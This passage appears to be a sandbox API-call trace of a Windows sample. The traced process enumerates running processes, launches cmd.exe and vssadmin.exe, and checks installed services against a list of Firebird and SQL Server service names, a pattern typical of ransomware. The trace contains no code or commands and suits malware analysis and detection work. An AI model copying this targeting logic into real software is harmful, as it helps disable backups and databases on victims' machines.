[0051.539] lstrlenW (lpString="svchost.exe") returned 11 [0051.539] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.540] lstrlenW (lpString="svchost.exe") returned 11 [0051.540] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.541] lstrlenW (lpString="svchost.exe") returned 11 [0051.541] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.541] lstrlenW (lpString="svchost.exe") returned 11 [0051.541] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.542] lstrlenW (lpString="audiodg.exe") returned 11 [0051.542] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.543] lstrlenW (lpString="svchost.exe") returned 11 [0051.543] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.543] lstrlenW (lpString="svchost.exe") returned 11 [0051.543] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.544] lstrlenW (lpString="dwm.exe") returned 7 [0051.544] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.545] lstrlenW (lpString="explorer.exe") returned 12 [0051.545] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.545] lstrlenW (lpString="spoolsv.exe") returned 11 [0051.545] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.546] lstrlenW (lpString="taskhost.exe") returned 12 [0051.546] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.547] lstrlenW (lpString="svchost.exe") returned 11 [0051.547] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.547] lstrlenW (lpString="taskeng.exe") returned 11 [0051.547] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.548] lstrlenW (lpString="taskhost.exe") returned 12 [0051.548] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0051.549] lstrlenW (lpString="chem venues.exe") returned 15 [0051.549] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0051.549] lstrlenW (lpString="month.exe") returned 9 [0051.549] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0051.550] lstrlenW (lpString="glasgow.exe") returned 11 [0051.550] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0051.550] lstrlenW (lpString="rubber.exe") returned 10 [0051.551] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0051.696] lstrlenW (lpString="petroleum.exe") returned 13 [0051.696] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0051.696] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0051.696] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0051.697] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0051.697] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0051.698] lstrlenW (lpString="batman_oliver.exe") returned 17 [0051.698] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0051.699] lstrlenW (lpString="formation.exe") returned 13 [0051.699] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0051.699] lstrlenW (lpString="whole.exe") returned 9 [0051.699] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0051.700] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0051.700] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0051.701] lstrlenW (lpString="disorder.exe") returned 12 [0051.701] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0051.701] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0051.701] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0051.702] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0051.702] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0051.703] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0051.703] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0051.703] lstrlenW (lpString="perspective.exe") returned 15 [0051.703] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0051.704] lstrlenW (lpString="demand-site.exe") returned 15 [0051.704] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0051.705] lstrlenW (lpString="attachment.exe") returned 14 [0051.705] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0051.705] lstrlenW (lpString="valid-permit.exe") returned 16 [0051.705] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0051.706] lstrlenW (lpString="knights.exe") returned 11 [0051.706] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.706] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0051.707] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0051.707] lstrlenW (lpString="ohbdap.exe") returned 10 [0051.707] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.708] lstrlenW (lpString="cmd.exe") returned 7 [0051.708] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.708] lstrlenW (lpString="conhost.exe") returned 11 [0051.708] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0051.709] lstrlenW (lpString="vssadmin.exe") returned 12 [0051.709] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0051.710] lstrlenW (lpString="VSSVC.exe") returned 9 [0051.710] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.710] lstrlenW (lpString="svchost.exe") returned 11 [0051.710] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0051.711] CloseHandle (hObject=0x228) returned 1 [0051.711] Sleep (dwMilliseconds=0x1f4) [0052.460] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fff8 [0052.460] EnumServicesStatusExW (in: hSCManager=0x52fff8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0052.460] GetLastError () returned 0xea [0052.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x5a5d28 [0052.461] EnumServicesStatusExW (in: hSCManager=0x52fff8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5d28, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5d28, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0052.461] CloseServiceHandle (hSCObject=0x52fff8) returned 1 [0052.461] lstrlenW (lpString="Appinfo") returned 7 [0052.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.462] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.462] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.462] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.462] lstrlenW (lpString="AudioSrv") returned 8 [0052.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0052.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0052.462] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0052.462] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0052.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0052.462] lstrlenW (lpString="BFE") returned 3 [0052.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.462] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.462] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.462] lstrlenW (lpString="CryptSvc") returned 8 [0052.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.463] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.463] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.463] lstrlenW (lpString="CscService") returned 10 [0052.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0052.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0052.463] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0052.463] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0052.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0052.463] lstrlenW (lpString="DcomLaunch") returned 10 [0052.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.463] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.463] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.463] lstrlenW (lpString="Dhcp") returned 4 [0052.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.463] lstrlenW (lpString="Dnscache") returned 8 [0052.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.463] lstrlenW (lpString="DPS") returned 3 [0052.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.463] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.464] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.464] lstrlenW (lpString="eventlog") returned 8 [0052.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0052.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0052.464] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0052.464] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0052.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0052.464] lstrlenW (lpString="EventSystem") returned 11 [0052.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.464] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.464] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.464] lstrlenW (lpString="gpsvc") returned 5 [0052.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.464] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.464] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.464] lstrlenW (lpString="iphlpsvc") returned 8 [0052.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.464] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.464] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.464] lstrlenW (lpString="LanmanServer") returned 12 [0052.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.464] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.464] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.464] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.465] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.465] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.465] lstrlenW (lpString="lmhosts") returned 7 [0052.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.465] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.465] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.465] lstrlenW (lpString="MMCSS") returned 5 [0052.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0052.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0052.465] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0052.465] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0052.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0052.465] lstrlenW (lpString="MpsSvc") returned 6 [0052.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.465] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.465] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.465] lstrlenW (lpString="Netman") returned 6 [0052.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0052.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0052.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0052.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0052.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0052.465] lstrlenW (lpString="netprofm") returned 8 [0052.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.465] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.465] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.465] lstrlenW (lpString="NlaSvc") returned 6 [0052.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.466] lstrcmpiW (lpString1="sqlwriter", 